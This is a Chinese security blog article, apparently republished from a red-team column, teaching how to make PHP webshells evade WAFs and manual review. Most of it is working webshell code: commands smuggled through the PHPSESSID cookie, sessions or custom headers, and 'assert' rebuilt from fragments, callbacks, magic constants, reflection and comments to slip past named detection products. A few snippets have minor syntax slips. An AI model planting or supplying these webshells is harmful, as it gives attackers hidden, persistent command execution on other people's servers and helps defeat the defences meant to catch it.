什么?你还不会webshell免杀?(二)

以下文章来源于红队蓝军 ,作者naihe567

webshell免杀之传参方式及特征绕过

传参方式

在这里解释一下为什么,需要讲述传参方式,由于在很多情况下,以请求头作为参数传递并非waf和人工排查的重中之重且非常误导和隐藏,下面就是常用的几种方式

1.Cookie

由于Cookie基本上是每个web应用都需要使用到的,php应用在默认情况下,在Cookies请求头中会存在一个PHPSESSID=xxxx这样的cookie,其实这个就可以成为我们的传参位置

<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";

$c(base64_decode($_COOKIE["PHPSESSID"]));

?>

使用burp抓包

将内容改成base64加密后的命令

可以看到已经执行成功了,可以看到这个迷惑去非常强,如果不仔细排查是不容易发现的,由于webshell的session和网站本身业务并没有关系,所以这个PHPSESSID可以随意修改

2.Session

session的传参方式其实算是一种间接传产方式,由于session的内容是需要通过源码设置的,并不能想cookie一样直接在请求头中修改,因此需要准备两个文件,一个是将输入的参数传入session,另一个就是将session中的内容取出并执行命令

这里依旧沿用上面的cookie传参

给session传入参数

<?php
session_start();
$_SESSION['dmeo']=base64_decode($_COOKIE["PHPSESSID"]);

?>

取出session内容并执行,其实下面的代码是可以直接插入到正常页面中的,增加迷惑性,因为一般正常页面返回的html代码是比较多的,如果我们将内容回显的正常页面当中是比较难发现的

<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c($_SESSION['dmeo']);

?>

在test.php下通过cookie添加session,注意这个PHPSESSID的值其实就是一个session文件,每当有一个新的sessionid都会生成一个新的session文件,因此这个文件名我们是可以随意修改的,在这里的sessionid不但是文件名,而且也是我们的base64加密后的命令,这里只需要了解一下即可

访问命令执行的页面,并添加其cookie,即可跨页面传递参数,如果用这种方式传参是比较难发现的

总结:session传参其实就是一种参数转移的感觉

3.自定义头

自定义请求头其实也是作为一种伪装的请求方式,你可以选择完全自定义一个请求头进行参数传递,但是很多waf也会检测一些没出现过的请求头容易被识别出来,且一旦在日志中被找到一个以这种方式传参,很容易就能查找到使用数据包,还是不稳当,与cookie相比,cookie本身就是一堆随机数不好区分

<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c(getallheaders()['Demo']);

?>

4.php伪协议

<?php
$q=$_GET[1];
file_get_contents("php".$q)($_GET[2]);


特征绕过

在这里为什么我会将特征绕过,而并没有像其他博客上写的那些,整一堆混淆的方法,原因就是因为,waf毕竟还是通过特征判断的,只有知道了,waf匹配的正则表达式大概是什么样的,webshell的免杀有真正的意义

数据特征绕过

1.$_xxx[xxx] 绕过:

看这个特征可以发现很明显的是一个获取参数的语句,但为什么我会将起列举出来了,因为在很多情况下,现在的web应用大多都是使用的框架,基本上所有的获取请求参数内容的方法都是经过框架封装过的,最原始的获取参数内容的方式已经非常少见了,很容易通过一些命令如linux下的find命令通过正则表达式即可找到对应的webshell,很容易被发现,因此不使用该特征是很有必要的

1.1 {}

使用{}来替代[]是在ctf中十分常见的绕过方式

<?php

echo $_GET{"demo"};

1.2 foreach语句

利用复合变量加foreach,获取参数中的内容,其特点并没有[],不容易被识别

<?php
$a = "a";
$s = "s";
$c=$a.$s."sert";
foreach (array('_GET'as $r){
    foreach ($$r as $k =>$v){
        $c($v);

    }
}

自定义请求头

使用自定义的请求头同样是没有上面的特征

<?php
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c(getallheaders()['Demo']);
>

2.xxx) 绕过:

这个特征大致就是某盾,某狗等的正则表达式匹配的内容,只要去消除此特征即可免杀

2.1 ""特性

该原理就是""中的变量不会被当做字符串使用,会被解析,经过测试该方法基本失效

<?php
$a = "a";
$s = "s";
$c=$a.$s."sert";
$f = $_POST[1]
$c("$f");
>

2.2 回调函数

<?php
function  demo()
{
    return $_GET["a"];
}

demo()($_GET["b"]);

2.3 魔术常量

可以用到的4种魔术常量

__FILE__:返回当前文件的绝对路径(包含文件名)。

__FUNCTION__:返回当前函数(或方法)的名称。

__CLASS__:返回当前的类名(包括该类的作用区域或命名空间)。

__NAMESPACE__:返回当前文件的命名空间的名称。
__FILE__的利用,将webshell的名字改为base64编码后的内容
<?php
base64_decode(basename(__FILE__,".php"))($_POST[1]);

__FUNCTION__的利用,将webshell的名字改为base64编码后的内容
<?php

function assert2(){
    substr(__FUNCTION__,0,6)($_GET[1]);
}
assert2();

__CLASS__的利用
<?php

class assert2{
    static function demo(){
        substr(__CLASS__,0,6)($_GET[1]);
    }
}
assert2::demo();

__NAMESPACE__的利用
<?php

namespace assert2;
substr(__NAMESPACE__,0,6)($_GET[1]);

以上的4种基于魔术常量的免杀webshell都是可以绕过某盾的

当然在实战种还是要像上一篇文章一样,将传入的参数进行加密处理,如果再把传参方式改为cookie的那就很完美了

2.5 自定义常量

<?php
define("DEMO",$_GET[1]."ert");
substr(DEMO,0)($_GET[2]);


2.4 分离免杀

顾名思义,就是将一个马拆分成两部分,及使用file_get_contents()将内容读取出来,为什么不使用include等这些文件包含函数了?因为webshell的免杀在于动态函数的调用,最终还是要拼接在一起,绕过的原则其实就是绕过waf的正则表达式,如果直接include其实和写在一个文件里没啥区别

<?php
file_get_contents("test.txt")($_GET[1]);



2.5 注释及空白符混淆

这种方式和sql注入差不多,原理就是php允许在括号中添加注释符和空白符并不会影响代码正常运行

<?php
$func = $_GET["func"];
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c(//);//(
    $func//);//);
)
?>


这里方式可以绕某狗,但过不了某盾

2.6 反射调用

反射类及反射类方法

<?php
    $class          = new ReflectionClass('Site\Website');  // 以类名 Website 作为参数,即可创建 Website 类的反射类
    $properties     = $class->getProperties();      // 以数组的形式返回 Website 类的所有属性
    $property       = $class->getProperty('name');  // 获取 Website 类的 name 属性
    $methods        = $class->getMethods();         // 以数组的形式返回 Website 类的所有方法
    $method         = $class->getMethod('getName'); // 获取 Website 类的 getName 方法
    $constants      = $class->getConstants();       // 以数组的形式获取所有常量
    $constant       = $class->getConstant('TITLE'); // 获取 TITLE 常量
    $namespace      = $class->getNamespaceName();   // 获取类的命名空间
    $comment_class  = $class->getDocComment();      // 获取 Website 类的注释文档,即定义在类之前的注释
    $comment_method = $class->getMethod('getUrl')->getDocComment();  // 获取 Website 类中 getUrl 方法的注释文档
?>

通过属性名免杀

<?php
class a{
    public $assert2;
}

$class = new ReflectionClass(new a());
substr($class->getProperties()[0]->name,0,6)($_GET[1]);

通过注释免杀

<?php
/**
 *phpinfo*/

class A
{
    public static function B()
    
{
        return $_POST[1];
    }
}

$re = new ReflectionClass(new A());
$a = str_ireplace(" ","",str_ireplace("n","",str_ireplace("/","",str_ireplace("*","",$re->getDocComment()))));

substr($a,1)(A::B());

2.7 类调用

类方法调用

<?php
class a{
    function demo(){
        $a = "a";
        $s = "s";
        $c=$a.$s."sert";
        return $c;
    }
}

$s = new a();
$s->demo()($_GET[1]);


类的静态方法

<?php
class a{
    static function demo(){
        $a = "a";
        $s = "s";
        $c=$a.$s."sert";
        return $c;
    }
}

a::demo()($_GET[1]);

总结

webshell的免杀前提是要分析出waf大概的规则,如果盲目尝试是无法有更快的提示,正所谓大道至简,本文以最简单的代码解释了免杀的方法,原理以及waf背后的逻辑,对于更高级的waf,本文列举了很多种方法,在必要的时候是需要将多种方法合并使用的,以达到最好效果,最后有的绕过方式实在是太老了就没必要讲,如无特征马说是无特征,但这所谓的无特征就是它的最大特征,物联网是人类创造的,所有的东西都满足人类逻辑,不要死记硬背那些复杂的免杀马,只有清楚背后的逻辑才能真正的有所提升。

本文作者:合天网安实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/184170.html

Tags:
评论  (0)
快来写下你的想法吧!

合天网安实验室

文章数:243 积分: 877

www.hetianlab.com,网络安全靶场练习平台,涉及CTF赛前指导、职业技能训练、网安专项技能提升等。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号